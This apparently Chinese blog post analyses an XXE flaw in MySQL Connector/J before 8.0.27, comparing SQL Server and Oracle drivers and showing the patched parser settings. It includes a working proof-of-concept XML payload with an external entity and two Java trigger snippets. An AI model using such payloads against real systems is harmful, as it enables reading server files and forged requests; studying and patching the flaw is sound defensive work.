JDBC XXE漏洞分析

前言

​ 最近 JDBC爆了一个XXE漏洞,很久没有分析漏洞了,趁着周末没事分析下这个漏洞。

分析

10月21日,”阿里云应急响应”公众号发布Oracle Mysql JDBC存在XXE漏洞,造成漏洞的原因主要是因为getSource方法未对传入的XML格式数据进行检验。导致攻击者可构造恶意的XML数据引入外部实体。造成XXE攻击。

影响版本: < MySQL JDBC 8.0.27

​ 漏洞影响版本在8.0.27以下,并且修复的是一个XXE漏洞,所以我们可以在github上对比提交记录快速找到漏洞点。漏洞主要在MysqlSQLXML中,可以看到新版本在解析XML前加上了一些防御XXE的方法。

image-20211023121006606

​ 搭建8.0.26环境后,查看MysqlSQLXML#getSource方法,这里为了能看起来更直观,我忽略了大部分代码,getSource根据传入class类型的不同做返回不同的Source,返回其他source并没有解析XML,但在处理DomSource时,通过builder.parseinputSource的内容进行解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
...
if (clazz == null || clazz.equals(SAXSource.class)) {

...
return (T) new SAXSource(inputSource);
} else if (clazz.equals(DOMSource.class)) {
try {
...
return (T) new DOMSource(builder.parse(inputSource));
}
...
} else if (clazz.equals(StreamSource.class)) {
...
return (T) new StreamSource(reader);
} else if (clazz.equals(StAXSource.class)) {
...
return (T) new StAXSource(this.inputFactory.createXMLStreamReader(reader));
...

​ 我们再看看DOMSource部分的具体实现,并没有在parse前做防护处理,并且inputSource可以由this.stringRep参数控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
try {
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();

InputSource inputSource = null;

if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}

return (T) new DOMSource(builder.parse(inputSource));

​ 而在setString中为stringRep属性赋值,所以此处可以造成XXE漏洞。

1
2
3
4
5
6
7
public synchronized void setString(String str) throws SQLException {
checkClosed();
checkWorkingWithResult();

this.stringRep = str;
this.fromResultSet = false;
}

​ 但是分析到这里就结束了吗?我认为要真正了解这个漏洞,还需要解决下面的几个问题:

  • MysqlSQLXML的功能是什么?为什么getSource中会解析XML?为什么只有DomSource会进行parse,其他的没有?
  • 在什么样的场景下会调用MysqlSQLXML#getSource
  • 为什么只在MYSQLSQLXML中出现了问题?其他数据库的SQLXML没有漏洞吗?

思考

​ 要理清上面的问题,首先我们得了解SQLXML是什么东西,为什么要引入它。

SQLXML

​ 在开发的过程中,可能会需要在数据库中存储和检索XML文档,因此引入了SQLXML类型,SQLXML提供了 String、Reader、Writer 或 Stream 等多种形式访问XML值的方法。

  • getBinaryStream 以流的形式获取此 SQLXML 实例指定的 XML 值。
  • getCharacterStream 以 java.io.Reader 对象的形式获取此 SQLXML 实例指定的 XML 值。
  • getString 返回此 SQLXML 实例指定的 XML 值的字符串表示形式。

我们可以通过ResultSet、CallableStatement 、PreparedStatement 中的getSQLXML方法获取SQLXML对象。

1
2
SQLXML sqlxml = resultSet.getSQLXML(column);
InputStream binaryStream = sqlxml.getBinaryStream();

​ 再通过XML解析器解析XML

1
2
3
4
5
DocumentBuilder parser = DocumentBuilderFactory.newInstance().newDocumentBuilder();
Document result = parser.parse(binaryStream);

SAXParser parser = SAXParserFactory.newInstance().newSAXParser();
parser.parse(binaryStream, myHandler);

​ 除了上述的处理方式外,也可以getSourcesetResult直接进行XML处理,而不需要转换成流并调用解析器解析XML。

​ 比如直接对DOM Document Node进行操作。

1
2
3
4
5
6
//获取Document Node
DOMSource domSource = sqlxml.getSource(DOMSource.class);
Document document = (Document) domSource.getNode();
//设置Document Node
DOMResult domResult = sqlxml.setResult(DOMResult.class);
domResult.setNode(myNode);

​ 或者通过sax解析

1
2
3
4
SAXSource saxSource = sqlxml.getSource(SAXSource.class);
XMLReader xmlReader = saxSource.getXMLReader();
xmlReader.setContentHandler(myHandler);
xmlReader.parse(saxSource.getInputSource());

为什么DOMSource会出现问题?

​ 首先我们看下当调用getSource时,不同类型的返回Source的代码。

1
2
3
4
return (T) new SAXSource(inputSource);
return (T) new DOMSource(builder.parse(inputSource));
return (T) new StreamSource(reader);
return (T) new StAXSource(this.inputFactory.createXMLStreamReader(reader));

​ 不同的Source为什么接收的数据类型不相同,这里需要了解不同的解析方式。

DOM:DOM是以层次结构组织的节点或信息片断的集合。这个层次结构允许开发人员在树中寻找特定信息。分析该结构通常需要加载整个文档和构造层次结构,然后才能做任何工作。

SAX:SAX是一种基于流的推分析方式的XML解析技术,分析能够立即开始,而不是等待所有的数据被处理,应用程序不必解析整个文档

StAX:StAX就是一种基于流的拉分析式的XML解析技术,只把感兴趣的部分拉出,不需要触发事件。StAX的API可以读取和写入XML文档。使用SAX API,XML可以是只读的。

推模型:就是我们常说的SAX,它是一种靠事件驱动的模型。当它每发现一个节点就引发一个事件,而我们需要编写这些事件的处理程序。这样的做法很麻烦,且不灵活。

拉模型:在遍历文档时,会把感兴趣的部分从读取器中拉出,不需要引发事件,允许我们选择性地处理节点。这大大提e高了灵活性,以及整体效率。

​ 从Dom解析的特性来讲,必须一次性将Dom全部加载到内存中才能操作,而不是像其他类型,可以在使用时再去处理,因此在构建DomSource对象时需要先将Dom先整体解析后才能使用。

如何触发漏洞?

​ 之前已经分析过一种方式,直接通过setString设置即可触发,下面是广为流传的POC

1
2
3
4
5
6
7
8
9
10
11
String poc = "<?xml version=\"1.0\" ?>\n" +
"<!DOCTYPE r [\n" +
"<!ELEMENT r ANY >\n" +
"<!ENTITY sp SYSTEM \"http://127.0.0.1:4444/test.txt\">\n" +
"]>\n" +
"<r>&sp;</r>";
Connection connection =
DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test", "root","xxxxx");
SQLXML sqlxml = connection.createSQLXML();
sqlxml.setString(poc);
sqlxml.getSource(DOMSource.class);

​ 虽然上面的方式确实可以触发漏洞,但是我觉得在真实环境中应该不会有人这么写,所以我们应该思考下有没有其他的方式触发漏洞?

​ 我们结合一下SQLXML的使用场景,是在操作数据库中的XML数据而产生的,所以正常情况下应该是操作数据库中的XML数据而导致的XXE漏洞。所以我认为下面的POC更符合真实场景,其中DataXML字段中保存着我们的payload

1
2
3
4
5
6
7
8
Connection connection =DriverManager.getConnection("jdbc:mysql://192.168.3.16:3306/test666", "root",
"cangqing<>?");
String sql = "SELECT DataXML from config";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
rs.next();
SQLXML xml=rs.getSQLXML("DataXML");
DOMSource=xml.getSource(DOMSource.class);

是否由其他方式会导致漏洞?

​ 我们还是看getSource方法,当内容为SAXSource直接将InputSource作为参数传给了SaxSource,所以从这来看没有明显的问题。

1
2
3
4
5
6
7
8
if (clazz == null || clazz.equals(SAXSource.class)) {
InputSource inputSource = null;
if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}
return (T) new SAXSource(inputSource);

​ 这里创建SAXSource并没有设置XmlReader,因为设置XML解析防御的策略在XmlReader中,所以看不出来是否存在漏洞。

​ 再看看StAXSource,这里是否会导致漏洞取决于this.inputFactory属性中保存的XMLInputFactory对象,但是虽然MysqlSQLXML中有inputFactory属性,但是并没有设置这个属性的方法或者操作,而是否在开启XXE的防御是在XMLInputFactory对象中设置的,所以这里也看不出来是否有漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
} else if (clazz.equals(StAXSource.class)) {
try {
Reader reader = null;

if (this.fromResultSet) {
reader = this.owningResultSet.getCharacterStream(this.columnIndexOfXml);
} else {
reader = new StringReader(this.stringRep);
}

return (T) new StAXSource(this.inputFactory.createXMLStreamReader(reader));
} catch (XMLStreamException ex) {
SQLException sqlEx = SQLError.createSQLException(ex.getMessage(), MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, ex, this.exceptionInterceptor);
throw sqlEx;
}

为什么SQLSERVER和ORACLE的数据库连接没问题?

mssql-jdbc

​ 首先看mssql-jdbc是怎么处理的,主要逻辑在SQLServerSQLXML#getSource中,判断类型是否为SteamSource,如果不是则调用getSourceInternal处理。getSourceInternal根据不同的类型调用不同的处理方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public <T extends Source> T getSource(Class<T> iface) throws SQLException {
this.checkClosed();
this.checkReadXML();
if (null == iface) {
T src = this.getSourceInternal(StreamSource.class);
return src;
} else {
return this.getSourceInternal(iface);
}
}
<T extends Source> T getSourceInternal(Class<T> iface) throws SQLException {
this.isUsed = true;
T src = null;
if (DOMSource.class == iface) {
src = (Source)iface.cast(this.getDOMSource());
} else if (SAXSource.class == iface) {
src = (Source)iface.cast(this.getSAXSource());
} else if (StAXSource.class == iface) {
src = (Source)iface.cast(this.getStAXSource());
} else if (StreamSource.class == iface) {
src = (Source)iface.cast(new StreamSource(this.contents));
} else {
SQLServerException.makeFromDriverError(this.con, (Object)null, SQLServerException.getErrString("R_notSupported"), (String)null, true);
}

return src;
}
getDOMSource

这里确实也会解析Document,但是在解析前设置了secure-processing,这里应该是防御了XXE漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    private DOMSource getDOMSource() throws SQLException {
Document document = null;
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

MessageFormat form;
Object[] msgArgs;
try {
factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
DocumentBuilder builder = factory.newDocumentBuilder();
builder.setEntityResolver(new SQLServerEntityResolver());

try {
document = builder.parse(this.contents);
...
DOMSource inputSource = new DOMSource(document);
return inputSource;
...
}

image-20211025171229488

getSAXSource

getSAXSource在创建SAXParserFactory 后并没有设置属性来进行安全操作,因此这种方式可能会存在漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private SAXSource getSAXSource() throws SQLException {
try {
InputSource src = new InputSource(contents);
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
XMLReader reader = parser.getXMLReader();
SAXSource saxSource = new SAXSource(reader, src);
return saxSource;

} catch (SAXException | ParserConfigurationException e) {
MessageFormat form = new MessageFormat(SQLServerException.getErrString("R_failedToParseXML"));
Object[] msgArgs = {e.toString()};
SQLServerException.makeFromDriverError(con, null, form.format(msgArgs), null, true);
}
return null;
}

​ 虽然单纯从getSAXSource函数中并没有直接解析,但是用户在使用下面的代码时,则默认会导致XXE漏洞。

1
2
3
4
5
SQLXML xmlVal= rs.getSQLXML(1);
SAXSource saxSource = sqlxml.getSource(SAXSource.class);
XMLReader xmlReader = saxSource.getXMLReader();
xmlReader.setContentHandler(myHandler);
xmlReader.parse(saxSource.getInputSource());

​ 虽然看起来是有问题的,但当我通过SQLSERVER创建XML类型数据并插入payload时,却爆了不允许使用内部子集 DTD 分析 XML。请将 CONVERT 与样式选项 2 一起使用,以启用有限的内部子集 DTD 支持。在SQLSERVER插入XML类型数据时中不允许使用DTD,所以无法插入恶意的payload。所以后面的解析方式也可以不看了,无法造成XXE漏洞

oracle-ojdbc

​ 查了下资料似乎没有找到关于SQLXML的支持,所以自然也不存在漏洞。

漏洞修复

mysql jdbc 8.0.27修复了该漏洞,修复方式如下:

DOMSource

​ DOMSource解析前加上了开启了防御,所以解决了这个漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (clazz.equals(DOMSource.class)) {
try {
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
setFeature(builderFactory, "http://javax.xml.XMLConstants/feature/secure-processing", true);
setFeature(builderFactory, "http://apache.org/xml/features/disallow-doctype-decl", true);
setFeature(builderFactory, "http://xml.org/sax/features/external-general-entities", false);
setFeature(builderFactory, "http://xml.org/sax/features/external-parameter-entities", false);
setFeature(builderFactory, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
builderFactory.setXIncludeAware(false);
builderFactory.setExpandEntityReferences(false);
builderFactory.setAttribute("http://javax.xml.XMLConstants/property/accessExternalSchema", "");
DocumentBuilder builder = builderFactory.newDocumentBuilder();
return new DOMSource(builder.parse(this.fromResultSet ? new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml)) : new InputSource(new StringReader(this.stringRep))));
} catch (Throwable var5) {
sqlEx = SQLError.createSQLException(var5.getMessage(), "S1009", var5, this.exceptionInterceptor);
throw sqlEx;
}

SAXSource

​ 这里也发生了改变,之前分析8.0.26版本时,并没有创建XMLReader,所以没有漏洞,在更新中创建了XmlReader并进行了安全设置。

1
2
3
4
5
6
7
8
9
10
11
12
try {
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
setFeature(reader, "http://apache.org/xml/features/disallow-doctype-decl", true);
setFeature(reader, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
setFeature(reader, "http://xml.org/sax/features/external-general-entities", false);
setFeature(reader, "http://xml.org/sax/features/external-parameter-entities", false);
return new SAXSource(reader, this.fromResultSet ? new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml)) : new InputSource(new StringReader(this.stringRep)));
} catch (SAXException var7) {
sqlEx = SQLError.createSQLException(var7.getMessage(), "S1009", var7, this.exceptionInterceptor);
throw sqlEx;
}